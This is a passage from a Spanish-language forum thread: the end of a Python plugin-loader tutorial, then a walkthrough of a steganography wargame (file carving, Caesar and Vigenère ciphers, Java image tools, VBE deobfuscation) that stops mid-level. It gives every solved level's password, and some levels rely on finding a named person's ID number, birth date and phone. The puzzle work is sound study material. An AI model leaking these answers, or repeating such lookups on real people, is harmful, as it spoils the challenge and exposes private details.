Código: python

import os
import glob
import importlib


def load(ruta):
    cargados = []
    # Generamos una ruta de la forma: path/*.py
    # Que hace referencia a todos los archivos terminados en .py
    ruta_final = os.path.join(ruta, "*.py")
    for archivo in glob.iglob(ruta_final):  # Listamos los archivos directorio
        print("abriendo:", archivo)
        # Verificamos que la ruta pertenezca a un archivo
        if os.path.isfile(archivo):
            print("encontrado:", archivo)
            try:
                # formateamos a path_1/path_2.modulo
                ruta, archivo = os.path.split(archivo)
                modulo = "{0}.{1}".format(ruta, archivo[:-3])
                print("importando:", modulo)
                # Importamos el modulo
                cargados.append(importlib.import_module(modulo))
            except ImportError as e:
                print("Error cargando el modulo:", archivo)
                print(e)
                next  # En caso de error saltamos al siguiente archivo
    return cargados


La función load() recive como argumento la ruta donde se van a tener guardados los plugins. Se busca en esta ruta todos los archivos terminados en .py, los importamos y guardamos en una lista la referencia a tal módulo.

Base

Este es el esqueleto de la calculadora, donde el diccionario que se mencionó al comienzo de la entrada tiene la forma:

{"nombre_funcion": ("descripcion_de_la_función", referencia_funcion_ejecutar)}

Con este diccionario se generará el menú que se mostrará al usuario. Además, es importante porque esta estructura, de alguna forma, la deben cumplir los plugins para poder ser cargados adecuadamente.

Esta base, también será la encargada de verificar que los plugins que se cargaron con el loader sean válidos según la estructura que definimos anteriormente y así evitar errores.

Para hacer las validaciones necesarias, haremos uso de algunas de las ya mencionadas y muy útiles Built-in functions:

hasattr(objeto, nombre): Devuelve True si existe un objeto nombre en objeto (Todo en Python es un objeto, desde las clases hasta las variables)
getattr(objeto, nombre [, default]): Devuelve el objeto nombre de objeto. Si el objeto no existe y se especifica default devuelve éste valor, de los contrario lanza un error del tipo AtributeError.
isinstance(objeto, clase): Devuelve True si objeto es una instancia de clase.
callable(objeto): Devuelve True si objeto es una función, clase (cualquier objeto callable)
map(función, lista): Aplica una función a una lista de elementos y devuelve un iterador con el resultado que devuelve la función por cada elemento.
max(lista): Devuelve el elemento más grande de la lista.

Código: python

import load  # Importamos el loader


def cargar():
    """Llama al loader para que cargue los plugins."""
    print("Cargando los modulos")
    cargados = load.load("modulos")
    for modulo in cargados:
        # Verificamos que exista un objeto llamado menu
        if hasattr(modulo, "menu_plugin"):
            dic = modulo.menu
            if isinstance(dic, dict):  # Verificamos que sea un diccionario
                print("Agregando:", modulo.__name__)
                menu.update(dic)  # Agregamos el diccionario a menu


def mostrar():
    """Genera el menu a partir del diccionario."""
# Obtine la longitu del elemento mas largo
    max_key = max(map(len, menu.keys())) 
    print()
    for key in menu:  # Recorremos los elementos del menu
        print("{0}: {1}".format(key.ljust(max_key), menu[key][0]))
    print()

menu = {
    "cargar": ("Carga los modulos", cargar),
    "salir": ("Sale del programa", exit),
}

while True:
    mostrar()  # Mostramos el menu
    opcion = input("Elija una opcion: ")
    if opcion in menu:
        menu[opcion][1]()  # Ejecutamos la funcion correspondiente



dict.keys(): Devuelve un iterador con todas las llaves del diccionario
dict.update(iter): Agrega al diccionario los elementos del diccionario iter. no es necesario que iter sea un diccionario, también puede ser un elemento iterable que venga en pares (key, value).
str.ljust(len [,caracter]): Método de todos los objetos str que permite ajustar el texto para que cumpla con la longitud len, si se pasa el parámetro caracter con este se llena hasta legar a la longitud, si no se especifica se usan espacios en blanco. Esto caracteres se agregan a la derecha.

La función cargar() es la que se encarga de llamar al loader y agregar los módulos que cumplan con la estructura definida. Nótese que no se verifica en este ejemplo que el segundo elemento de la tupla del diccionario sea, por lo menos un objeto callable. Solo se verifica que en el módulo exista un diccionario con el nombre: menu_plugin. Los módulos que cumplen con la estructura son agregados al diccionario menu.

La función mostrar() genera e imprime un menú a partir del diccionario.

El bucle infinito es el encargado de mostrar cada vez el menú, verificar si la opción elegida por el usuario está en el menú y llamar a la función
correspondiente.


Plugins

Los plugins como mínimo deben cumplir con la estructura necesaria para ser agregados al sistema base. En este caso, elplugin debe tener un diccionario llamado menu_plugin con la estructura anteriormente y la función que se llamará cuando el plugin sea seleccionado.

En esta entrada se programarán dos plugins, uno que deriva una función usando sympy y otro que sume dos números.

Código: python

import sympy


def derivar():
    funcion = input("Ingrese la funcion a derivar: ")
    print(sympy.diff(funcion))

menu_plugin = {
    "derivar": ("Deriva una funcion usando sympy", derivar)
}


Código: python

def suma():
    a = int(input("Ingrese el primer numero: "))
    b = int(input("Ingrese el segundo numero: "))
    print("La suma es:", a + b)

menu_plugin = {
    "Suma": ("Suma dos numeros", suma)
}


Si los plugins están en un directorio distinto al directorio donde se encuentra la base, se debe agregar al directorio de los plugins un archivo llamado __init__.py que le indica a Python que los archivos que se encuentran en ese directorio pueden ser importados.

Nota final
El buen manejo de las excepciones es crucial para que los errores ocurridos en los plugins no afecten el funcionamiento del sistema base.

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos.
Once
#9
Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Hace ya casi tres años que @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta publicó en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuentasobre esteganografía. Un wargame realmente entretenido y largo como el diablo. Así que antes de seguir leyendo si aún no has intentado solucionarlo, ¿qué esperas?


¿Qué necesitaremos?

       
  • Editor hexadecimal (en mi caso uso GHex)
  • Python 2.*
  • Java
  • Compilador C (solo si usas Linux para resolver el reto)
  • El archivo del reto que podemos descargar acá 
Así es, necesitaremos Python y Java porque en algunos niveles nos va a hacer falta algo de programación para poder continuar. También es necesario aclarar que el reto estaba pensado para usuarios de Windows por lo que en algunos niveles los usuarios de Linux vamos a tener que realizar un par de pasos más.

CitarLo que aquí propongo es mi solución al reto basada en mis conocimientos (no soy un experto en el tema) así que lo más probable es que en algunos pasos use métodos que aunque me funcionaron podrían no ser los más eficaces.

Una vez aclarada la nota anterior... ¡Manos a la obra!

Primer nivel: Misterio.bmp

El archivo que nos deja numeritos 79137913 es un .rar (el primero de muchos) que dentro tiene la imagen Misterio.bmp similar a la que encabeza esta entrada. Si la abrimos con nuestro visor de imágenes favorito, notamos que la imagen tiene el siguiente texto:
Citar
Esta imagen guarda muchos secretos!!!!!!

Como el reto trata de esteganografía y básicamente la imagen nos está diciendo que hay más de lo que podemos ver, busquemos datos al final del archivo. Para ello abrimos la imagen con el editor hexadecimal y nos desplazamos hasta el final.



Misterio.bmp

CitarLa técnica de esconder información (incluso otros ficheros) al final de un archivo se conoce como esteganografía por EOF (End Of File) No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Al final del archivo no encontramos un mensaje diciendonos qué hacer (como en muchos otros retos). La buena noticia es que esto no significa que no halla nada más dentro de la imagen. Como ya nos lo contó la nota anterior, aparte de colocar información en forma de texto al final de los archivos, también se pueden colocar más archivos.

¿Pero entonces, cómo sabemos si hay un archivo dentro de otro? Bueno, la solución es simple, vamos a usar las cabeceras. Todos los archivos las tienen y es la forma en que los distintos programas saben como procesar cada archivo. No tienes permitido ver los links. Registrarse o Entrar a mi cuenta tenemos una lista con algunas cabeceras (en hexadecimal) y el tipo de archivo al que corresponden.

Una vez sabiendo esto búsquemos archivos comprimidos dentro de la imagen (buscamos por comprimidos ya que éstos nos permiten guardar varios archivos como si fueran uno solo). Así que usamos de nuevo nuestro editor hexadecimal, pero esta vez de una forma un poco más inteligente: vamos a buscar las cabeceras de los tipos de comprimidos más comunes.



Misterio.bmp


Usando la lista de cabeceras y la opción buscar del editor hexadecimal podemos notar que efectivamente hay un rar dentro de la imagen (o su cabecera por lo menos).

¿Pero ahora, cómo sacamos el rar de ahí? Bueno, como ya explicamos anterior mente, las cabeceras son lo que delimitan y dan estructura a un archivo. Hay programas que explotan esta capacidad, por ejemplo, los lectores de rar, zip comienzan a leer los archivos apartir de donde encuentran una cabecera de inicio y hasta una cabecera de final por lo que no importa si hay basura antes o después de cada cabecera, el software no tendrá problemas en leer el archivo.

Así que tenemos dos opciones:

       
  • La primera, cambiar la extensión del archivo a .rar para que el sistema operativo abra el archivo con el lector de rar.
  • La segunda, programar un pequeño script que saque toda la información a partir de la cabecera del rar.

Vamos a programar un pequeño script en Python2 que usa expresiones regulares para extraer el rar (también agregaremos la opción para extraer un zip que nos será útil unos niveles más adelante).

Código: python
	
#!/usr/bin/python2
# -*- coding: utf-8 -*-
 
 
import os
import re
import sys
 
rar_ = re.compile(".*?(52617221.*).*?", re.DOTALL | re.IGNORECASE)
zip_ = re.compile(".*?(504B0304.*).*?", re.DOTALL | re.IGNORECASE)
es_rar = None

def abrir_archivo(ruta):
    global es_rar
    print "Comprobando archivo:", ruta
    if ruta.lower().endswith(".rar"):
        print "Es un rar"
        es_rar = True
         
    with open(ruta, "rb") as archivo:
        data = archivo.read()
        data  = data.encode("hex")
    comprobar_rar(data, ruta)
 
 
def comprobar_rar(data, nombre):
    if rar_.match(data):
        if not es_rar:
            nombre += "in.rar"
            print "\t[+] Hay un rar dentro"
            print "\t[+] Guardando en:", nombre
            with open(nombre, "wb") as archivo:
                archivo.write(rar_.findall(data)[0].decode("hex")) 
    else:
        print "no rar"
    if  zip_.match(data):
        nombre += "in.zip"
        print "\t[+] Hay un zip dentro"
        print "\t[+] guardando en:", nombre
        with open(nombre, "wb") as archivo:
            archivo.write(zip_.findall(data)[0].decode("hex"))
    else:
        print "No zip"
     
 
def comprobar_ruta(ruta):
    if os.path.isfile(ruta):
        abrir_archivo(ruta)

 
if len(sys.argv) > 1:
    comprobar_ruta(sys.argv[1])
else:
    print "Uso: inRar.py <archivo><archivo>"


Sin importar cual de las dos opciones usemos, debemos llegar a un archivo comprimido que cuando lo intentamos abrir nos pide una contraseña. 79137913 no nos piensa hacer las cosas tan fáciles, pero si intentamos con secretos palabra sospechosamente subrayada en el mensaje de la imagen el rar precisamente nos revela sus secretos (Turum tsss).

Segundo nivel: La Verdad.rar

Ahora tenemos tres archivos: La Verdad.rar, Carta del César.txt e Historia.txt
Por supuesto, La Verdad.rar tiene contraseña y los otros dos archivos dicen:

CitarDRRS0NRR = DRRSRRNRR , D0SRRNRR = DRRSRRNRR , DRRSRRN0 = DRRSRRNRR , DRRS80N0 = DRRSRRNRR , D0S80NRR = DRRSRRNRR , D80S0NRR = DRRSRRNRR , D0SRRN80 = DRRSRRNRR

CitarJulio Cesar le dio una carta a su mensajero diciendole solo una palabra "Februarius" y el destinatario, hasta el momento solo el que hizo este reto y el Cesar saben lo que dice la carta.

Historia.txt nos dice que sólo el César y 79137913 saben lo que la carta dice, lo que nos lleva a pensar que tal vez la información está cifrada usando el método césar.

Citar"El cifrado césar es un tipo de cifrado por sustitución en el que una letra en el texto original es reemplazada por otra letra que se encuentra un número fijo de posiciones más adelante en el alfabeto. Por ejemplo, con un desplazamiento de 3, la A sería sustituida por la D (situada 3 lugares a la derecha de la A)" No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ya solo nos falta saber cuál es el desplazamiento. Y ahí es donde entra la segunda pista: "Februarius" que según la Wikipedia es el mes número doce en el calendario juliano. Ahora solo queda descifrar el mensaje, podemos usar alguna de las tantas online o programar la nuestra.

Acá un pequeño ejemplo de como quedaría una función en Python que implementa el cifrado césar. Para usarla sólo necesitamos cambiar "mensaje" por el contenido de la carta (manteniendo las comillas) y ejecutar el script.

Código: python

import string

letras = string.ascii_lowercase
total = len(letras)


def cesar(mensaje, salto):
    descifrado = ""
    for x in mensaje:  # Recorremos el mensaje
        if x not in  letras:  # Si el caracter no es una letra
            descifrado += x   # lo dejamos como esta y continuamos
            continue          # con el bucle
        else:
            # Obtenemos la posicion de la letra en la lista
            index = letras.find(x)
            # A la posicion del caracter aumentamos el salto
            # y sacamos el moulo para que si la suma se pasa de
            # la longitud de la lista comience desde cero y no
            # lance un error
            index = (index + salto) % total
            descifrado += letras[index]
    print descifrado

print cesar("mensaje", -12)


Teniendo en cuenta que como el mensaje está cifrado y lo queremos descifrar el desplazamiento es hacía la izquierda (por eso el -12 cuando llamamos a la función cesar en nuestro código) si usamos una aplicación online hay que tener en cuenta que si sólo nos permite desplazarnos hacía la derecha el desplazamiento ahora no sería 12 sino 26-12=14 (26 son la cantidad de letras en el alfabeto sin contar la ñ)

CitarRFFG0BFF = RFFGFFBFF , R0GFFBFF = RFFGFFBFF , RFFGFFB0 = RFFGFFBFF , RFFG80B0 = RFFGFFBFF , R0G80BFF = RFFGFFBFF , R80G0BFF = RFFGFFBFF , R0GFFB80 = RFFGFFBFF
Qué según 79137913 en el post original del reto esto nos indica equivalencias entre colores RGB:

RFFG0BFF = RGB(FF, 00, FF) = RGB(255, 000, 255)

Como lo único que tiene sentido es modificar los colores en Misterio.bmp según nuestra carta descifrada, eso es lo que haremos. ¿Pero cómo? Que no cunda el pánico, para eso tenemos a nuestro amigo Java. Así es, vamos a programar una aplicación que lea una imagen píxel a píxel y modifique su color si es necesario.

Código: java

import java.io.File;
import java.awt.Color;
import javax.imageio.ImageIO;
import java.awt.image.BufferedImage;

public class Imagen {
    private BufferedImage imagen;
    private File abierta;
     
     
    public boolean abrir(String ruta) {
        abierta = new File(ruta);
        if (abierta.isFile()) {
            try {
                imagen = ImageIO.read(abierta);
                return true;
            } catch (Exception e) {
                System.err.println("Error: " + e);
                System.exit(1);
            }
        }
        return false;
    }
     
     
    public void leer() {
        Color reemplazo = new Color(255, 255, 255);
        Color reemplazar[] = {new Color(255, 0, 255),
            new Color(0, 255, 255),
            new Color(255, 255, 0),
            new Color(255, 128, 0),
            new Color(0, 128, 255),
            new Color(128, 0, 255),
            new Color(0, 255, 128),
        };
        for (int x = 0; x < imagen.getWidth(); x++) {
            for(int y = 0; y < imagen.getHeight(); y++) {
                 
                int pixel = imagen.getRGB(x, y);
                 
                for (Color actual : reemplazar) {
                    if (pixel == actual.getRGB()) {
                        imagen.setRGB(x, y, reemplazo.getRGB());
                        System.out.println("Reemplazando: " + actual);
                    }
                }
            }
        }
         
    }
     
    public void noWhite() {
        for (int x = 0; x < imagen.getWidth(); x++) {
            for(int y = 0; y < imagen.getHeight(); y++) {
                int pixel = imagen.getRGB(x, y);
                 
                if (pixel != new Color(255, 255, 255).getRGB()) {
                    imagen.setRGB(x, y, new Color(0, 0, 0).getRGB());
                }
            }
        }
    }
     
    public void guardar() {
        String rutaGuardar = String.format("%s%s%s", abierta.getParent(),
                File.separator, "reemplazada.bmp");
        try {
            ImageIO.write(imagen, "bmp", new File(rutaGuardar));
            System.out.println("guardado en: " + rutaGuardar);
        } catch (Exception e) {
            System.err.println("Error: " + e);
            System.exit(1);
        }
    }
}

El método abrir() abre la imagen si existe.
El método leer() lee la imagen píxel a píxel buscando una coincidencia con los colores que encontramos en la carta descifrada, si encuentra la coincidencia modifica el color a RGB(255, 255, 255) (blanco).
El método noWhite() también lee la imagen píxel a píxel pero esta vez convierte a negro todos los píxeles que no sean blancos (así podemos ver mejor el mensaje oculto).
El método guardar() guarda la imagen con las modificaciones.


Código: java
	
public class Abrir {
    public static void main(String[] args) {
        Imagen imagen = new Imagen();
        boolean abierta;
         
        if (args.length == 1) {
            abierta = imagen.abrir(args[0]);
            if (abierta) {
                imagen.leer();
                imagen.noWhite();
                imagen.guardar();
                System.out.println("elblogdeonce.blogspot.com\n");
            }
        } else {
            System.out.println("Uso: estego.jar <imagen>");
        }
    }
}


Esta clase simplemente implementa a la clase Imagen No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Citar$ java -jar estego.jar Misterio.bmp

Luego de pasar la imagen Misterio.bmp por estego.jar tenemos una nueva imagen:



Código

COD:58325461


Y así es como obtenemos el código (58325461) para La Verdad.rar. Donde encontramos un archivo que pone:
Citar
Estas buscando mal!
yo que vos busco un .zip

¿¡ENSERIO NUMERITOS!? tanto trabajo solo para que me digas que estoy equivocado...

Bueno, después de respirar profundo y maldecir repetidas veces a numeritos continuemos. Acá es donde nos será útil el primer script en Python (inrar.py), para extraer el zip de La Verdad.rar


Salida No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ahora tenemos un nuevo archivo: La No tienes permitido ver los links. Registrarse o Entrar a mi cuenta cuya contraseña es la que obtuvimos anteriormente de la imagen. Bueno, parece que todo el trabajo anterior no fue en vano.

Tercer nivel: El Lugar.rar

Dentro de  LA Verdad.rar tenemos otros tres archivos más para continuar: El Lugar.rar con contraseña como era de esperarse, Keygen.vbe por la extensión parece un script de windows (VBS) y No avances más!.text

CitarEstas buscando algo que no quieres saber!

(Muchas líneas en blanco despues...)

Avanza bajo tu propia responsabilidad:
el ultimo de los 300 fibonaccis te abrira la siguiente puerta.

En este paso separamos caminos los usuarios de Windows y los de Linux.

Si usas Windows debería ser suficiente con ejecutar el script, y en el inputbox que aparece ingresar como código el número 300 de la sucesión Fibonacci y se debería mostrar la contraseña. Si esto no funciona o eres usuario de Linux, conseguir la contraseña nos va a tomar un par de pasos más.

CitarEn matemáticas, la sucesión de Fibonacci es la siguiente sucesión infinita de números naturales:
1, 1, 2, 3, 5, 8, 13, ...
La sucesión comienza con los números 0 y 1 y a partir de estos, «cada término es la suma de los dos anteriores» No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Si abrimos el script con el editor hexadecimal lo primero que notamos es que parece que el script está ofuscado.



Keygen.vbe   

Luego de una pequeña búsqueda en google encontramos que efectivamente el script está ofuscado, al parecer por la herramienta screnc.exe. Luego de otra extensa búsqueda por los rincones de Google encontramos una herramienta para deosfuscar el script que no funciona solo en Windows, gracias MrBrownstone No tienes permitido ver los links. Registrarse o Entrar a mi cuenta podemos ver el código en C.

Lo que vamos a hacer es tomar el código y compilarlo para poder desofuscar el script, para ello vamos a pegar el código en un archivo con extención .c decode.c y luego compilamos, para ello en una terminal colocamos:

Citar$ gcc decode.c -o decode

Si todo sale bien, se debe generar el archivo decode. Ahora procedemos a darle permisos de ejecución y ejecutamos de forma que el archivo desofuscado quede en desofuscado.txt.
Código: php

$ chmod +x decode

$ ./decode Keygen.vbe desofuscado.txt


Si abrimos desofuscado.txt y organizamos un poco todo ese desastre llegamos a lo siguiente:
Código: vb

mSgboX"Numero de serie no encontrado, debera ingresarlo manualmente"
x=iNputBox("Ingrese codigo de autenticacion")
if X="222232244629420445529739893461909967206666939096499764990979600"then
msgbox"Codigo de activacion Valido, contraseña (sin comillas) : ""Esto fue un robo"""
ElsE
raNdomiZe timEr
msgbOx Int(RNd()*99999)
end if


De donde podemos deducir que la contraseña es: Esto fue un robo

Cuarto nivel: Interior.rar

Ahora tenemos, de nuevo, otros tres archivos: Interior.rar, Exterior.jpg y Avances de nuestro equipo.text

CitarHay que encontrar la direccion para ingresar al interior del banco ahi se guarda lo que buscamos!

La imagen Exterior.jpg nos muestra lo que parece ser la fachada de un banko, el Falcon Private Bank. En este caso, la pista es muy directa, necesitamos la diracción del banco. Con solo poner el nombre del banco en Google tenemos la dirección completa y el teléfono:



Falcon Private Bank

Luego de jugar un poco con la dirección, encontramos que la contraseña correcta es: Pelikanstrasse 37

Quinto nivel: Caja de seguridad.rar

Una vez dentro del banco, nos encontramos con otros tres archivos: Caja de seguridad.rar, Avances.txt, Caja fuerte.jpg.

CitarYa estamos dentro del banco, nadie sabe que nos infiltramos, estuvimos recopilando informacion acerca de la combinacion de la caja fuerte, sabemos que la combinacion es de 6 numeros de uno o dos digitos cada una, sabemos que el gerente del banco siempre lee los manuales de las cajas fuertes, pero aun no conseguimos entrar.
Sabemos que la combinacion se ingresa de la siguiente forma:
##-##-##-##-##-##
Y si los numeros son de un solo digito se los antepone con un 0.

Gracias a esta pista tenemos una idea de lo que tenemos que buscar: seis números de uno o dos dígitos. Si miramos la imagen Caja fuerte.jpg atentamente, notamos que en la puerta de la caja están indicadas las especificaciones:


Caja fuerte.jpg

Donde aparecen los números: 22, 1, 2, 22, 11, 4. ¡Seis números! Si los llevamos al formato que nos indica la pista tenemos: 22-01-02-22-11-04 que resulta ser la contraseña.

Sexto nivel: Maquina.rar

Ahora que estamos dentro de la caja fuerte nos encontramos con dos archivos:
Maquina.rar, Dentro de la caja.text

CitarEstamos dentro!

Buscamos una caja de seguridad de un Argentino, se llama Franco Antón Gallo.

Para que la maquina de la caja fuerte te traiga la caja de seguridad de la persona hay que ingresarle el numero de Documento Nacional de Identidad de su pais natal creemos que vive en algun pais del Mercosur.

Eso es lo que sabemos por ahora.

Para solucionar esta parte vamos a hacer uso de la página No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
que luego de llenar el formulario nos da el CUIT, luego de jugar un poco con los números, encontramos que la contraseña es: 36834443

Séptimo nivel: Viaje.rar

Llegados a este punto nos encontramos con otros siete archivos: dos comprimidos Herramienta.rar y Viaje.rar, dos imágenes: pasaporte.jpg y carnet.jpg. Tres archivos de texto: ACERTIJO.TEXT, Avances.txt y DOCUMENTO CIFRADO.TXT
Citar
Quien sera un soldado tan poco animoso y fuerte,
que viene con lanza armado,
y si al contrario ha pasado
el mismo se da muerte.

CitarEncontramos 2 fotos iguales en la caja, un documento cifrado y un anotador con contraseña.

Le pedimos a un experto que vea las fotos y nos envio un software que hara todo por nosotros segun el...

Pero es tan exentrico que nos dejo un acertijo para abrirlo.

CitarJb pqys ggfxp gws l nfblkf, hpllc bsj qccff flfg pkufpqfg zdk gsmws aywo ccywcyw rtljfz bj ocejbegso, fqffp kn ddczrzlnaz djrppnqz cqodiff, wy hzltj scy qo qchvl bj blanatcshz bj sw.

La solución para el acertijo es: abeja. Cuando descomprimimos Herramienta.rar nos damos cuenta que es un ejecutable de Windows, así que de nuevo, acá separamos caminos los usuarios de Windows y de Linux.

Cuando le pregunté a 79137913 qué era lo que el software hacía esto fue lo que respondió:
Citar
tenes que superponer las 2 imagenes y borrar los pixels que sean iguales.



tolerance = 3 //(o cualquier numero para que pruebes)
For each pixel in picture1{
if differencebetween(pixel,otherpicturesamepixel) < tolerance {
  pixel = rgb(255,0,0)
}else{
  pixel = rgb(0,0,255)
}
}

Ejemplo differencebetween
print differencebetween(RGB(0,0,0),RGB(1,2,3))
// print: 6
print differencebetween(RGB(0,0,0),RGB(1,0,0))
// print: 1
print differencebetween(RGB(100,100,100),RGB(99,100,101))
// print: 2
print differencebetween(RGB(0,0,0),RGB(0,0,0))
// print: 0


Analizando la función differencebetween nos damos cuenta que lo que hace es sumar las diferencias componente a componente de cada pixel de la imagen. teniendo esto claro, vamos a programar un par de métodos más para nuestra clase No tienes permitido ver los links. Registrarse o Entrar a mi cuenta que usamos en el segundo nivel:

Código: java

public int getRGB(int x, int y) {
    return imagen.getRGB(x, y);
}

public int[] getDimensiones() {
    int[] dim = {imagen.getWidth(), imagen.getHeight()};
    return dim;
}

public int diferencia(int p1, int p2) {
    Color c1 = new Color(p1);
    Color c2 = new Color(p2);
    int suma = 0;
    suma += Math.abs(c1.getRed() - c2.getRed());
    suma += Math.abs(c1.getBlue() - c2.getBlue());
    suma += Math.abs(c1.getGreen() - c2.getGreen());
    return suma;
}

public void superponer(Imagen segunda, int tolerancia) {
    int x = imagen.getWidth();
    int y = imagen.getHeight();
     
    int[] dimensiones = segunda.getDimensiones();
     
    int dx = dimensiones[0];
    int dy = dimensiones[1];
     
    Color blanco = new Color(255, 255, 255);
    Color negro = new Color(0, 0, 0);
     
    if (x == dx && y == dy) {
        for (int w = 0; w < x; w++) {
            for (int h = 0; h < y; h++) {
                 
                if (diferencia(imagen.getRGB(w, h), segunda.getRGB(w, h)) < tolerancia) {
                    imagen.setRGB(w, h, blanco.getRGB());
                } else {
                    imagen.setRGB(w, h, negro.getRGB());
                }
            }
        }
    } else {
        System.err.println("Las imagenes deben tener las mismas dimensiones");
        System.exit(1);
    }
}

El método getRGB() devuelve el color del píxel en las corrdenadas señaladas.
El método getDimensiones() devuelve un array con las dimensiones de la imagen.
El método diferencia() calcula la diferencia componente a componente entre dos colores RGB
El método superponer() recorre las dos imágenes, llama al método diferencia() para calcular la diferencia entre los píxeles de las dos imágenes y si la diferencia es menor a la tolerancia setea ese pixel en blanco de lo contrario lo hace a negro.

Código: java
	
import java.util.Scanner;

public class Abrir {
    public static void main(String[] args) {
        Scanner entrada = new Scanner(System.in);
        boolean estaAbierto1;
        boolean estaAbierto2;
        Imagen imagen1 = new Imagen();
        Imagen imagen2 = new Imagen();
         
         
        if (args.length == 3) {
            String ruta1 = args[0];
            String ruta2 = args[1];
            int tolerancia = Integer.parseInt(args[2]);

            estaAbierto1 = imagen1.abrir(ruta1);
            estaAbierto2 = imagen2.abrir(ruta2);
            if (estaAbierto1 && estaAbierto2) {
                imagen1.superponer(imagen2, tolerancia);
                imagen1.guardar();
                System.out.print("elblogdeonce.blogspot.com\n");
            }
        } else {
            System.out.println("Uso: estego.jar <archivo1> <archivo2> <tolerancia>");
        }
         
    }
}


Esta clase simplemente implementa a la clase No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Corremos super.jar y jugando con el valor de la tolerancia notamos que en seis es donde se ven más claras las cosas:

Código: php
$ java -jar super.jar pasaporte.jpg carnet.jpg 6


Lo que nos arroja la imagen reemplazada.bmp:


reemplazada.bmp

En la que parecen haber cuatro letras: FOLY

MMM... ahora solo nos quedan las cuatro letras y un mensaje cifrado, lo que nos lleva a pensar en, bueno, blanco es y frito se come. Sí, así es, ¡cifrado por sustitución!

CitarEn criptografía, el cifrado por sustitución es un método de cifrado por el que unidades de texto plano son sustituidas con texto cifrado siguiendo un sistema regular; las "unidades" pueden ser una sola letra (el caso más común), pares de letras, tríos de letras, mezclas de lo anterior, entre otros. El receptor descifra el texto realizando la sustitución inversa. No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Luego de, la verdad, hacer un poco de fuerza bruta a algunos de los métodos de cifrado que aparecen en la Wikipedia y otros que no, damos con el adecuado: el cifrado vigènere y gracias a No tienes permitido ver los links. Registrarse o Entrar a mi cuenta podemos descifrar el mensaje:

Citaren este viaje ire a panama, tengo que crear unas empresas off shore para retirar dinero de argentina, usare mi pseudonimo federico elaskar, la clave era la fecha de nacimiento de el.

De nuevo, usando la web No tienes permitido ver los links. Registrarse o Entrar a mi cuenta encontramos la fecha de nacimiento de Federico Elaskar: 6 de junio de 1984 y de nuevo, jugando un poco con los números, encontramos que la contraseña es: 06061984

Octavo nivel: Aeropuerto.rar

En este nivel nos encontramos con cuatro archivos: Aeropuerto.rar, Llegamos a panama.text, OFICINAS SGI GRUPO FINANCIERO.vbe (Otro script para Windows) y Tarjeta de rossi.jpg.

CitarCasi llegamos al fondo de este robo, o eso es lo que parece...

Preguntando a mucha gente llegamos a la conclusion que el unico que nos puede dar respuestas sobre Franco. A. Gallo es Fabian Rossi, el encargado de la empresa sgi financiera que creemos que hace sus empresas offshore.

El problema es que rossi nunca nos atiende, segun nuestros investigadores, el proximo 23 de julio va a estar en la oficina en algun horario de la mañana.

En lo que tenes que hacer incapie es cual es el paradero actual de Franco.

Eso es todo lo que te podemos decir.

Esta pista básicamente nos dice que tenemos que encontrar el lugar donde se encuentra Franco y que Rossi es quien nos puede dar tal información.

Tarjeta de rossi.jpg a primera vista no nos da información, así que centremos nuestra atención en OFICINAS SGI GRUPO FINANCIERO.vbe que por comodidad renombraremos a script.vbe.

Lo primero que notamos es que este script también está ofuscado, así que ya sabemos que hacer:
Código: php

$ ./decode script.vbe desofuscado.txt


Luego de organizar un poco ese desastre y descartar esos infinitos condicionales anidados nos quedamos con lo interesante:

Código: vb
(...)
MsgBox"[Luego de una hora hablando]."
MsgBox"Si, por supuesto, el telefono que esta usando Elaskar es el +54 (2902) 532615",,"Rossi"
MsgBOx"Claro, se fue alla!, esta esquiando.",,"Rossi"
MSgBox"Fue un placer!",,"Rossi"
(...)


Acá Rossi nos da dos datos importantes, el primero, un número de teléfono y el segundo, que Elaskar está esquiando.

Del número telefónico podemos sacar información interesante, por ejemplo el +54 nos dice que el teléfono es de Argentina y el 2902 (código de área) nos dice (gracias a No tienes permitido ver los links. Registrarse o Entrar a mi cuenta):


Código de área 2902 Argentina

Ahora hemos reducido las posibles locaciones de Elaskar a unas nueve ciudades Argentinas, en este punto podríamos aplicar fuerza bruta para ver si alguno de los nombres de las ciudades es la contraseña o podríamos ser un poco más delicados y usar el segundo dato que nos proporciona Rossi: Elaskar está esquiando.

Luego de una pequeña búsqueda en Google encontramos las No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y notamos que hay un par en la Provincia de Santa Cruz, provincia que también aparece en la lista de los prefijos, así que podemos deducir que Elaskar está en Santa Cruz y hemos reducido la lista a las dos ciudades que comparten el código de área 2902.

Luego de intentar un rato (en mi caso más de lo que me hubiese gustado), encontramos que la contraseña es: Calafate

Noveno y décimo nivel: Aeropuerto.rar, Habitacion.rar

En este nivel doble nos encontramos con cinco archivos: dos comprimidos con contraseña: Aeropuerto.rar y Habitacion.rar. Un script de Windows: Esperar al informante.vbe, una imagen: Lugar.jpg y la pista: Novedades.txt

CitarLlegamos a Calafate, nuestro informante nos dijo que Elaskar se esta escondiendo en el hotel Alto Calafate, estamos en la puerta esperando que llegue el informante, el nos dijo que debiamos esperarlo 2 minutos reloj y nos diria en que habitacion se encontraba Elaskar.

Lugar.jpg parece ser una imagen del hotel donde según la pista se está quedando Elaskar y a primera vista no nos brinda mucha información, así que centramos nuestra atención en el script que como ya se está haciendo costumbre está ofuscado. Desofuscamos el script y lo hacemos un poco más legible:

Código: vb
WScript.sleep 120000
MsgbOx"El sujeto esta en la habitacion que es el numero que corresponde a la solucion de este problema:"&cHr(10)&chr(13)&"En el patio de un Instituto hay 70 chicos alineados en 7 filas y 10 columnas. Cada uno da la mano a todos los que están a su alrededor por ejemplo, el que está situado en una esquina daría la mano a tres compañeros ṡCuántos saludos hubo en total?"


Para solucionar este problema, imaginemos a las personas alineadas, algo así:


Arreglo de personas en el patio

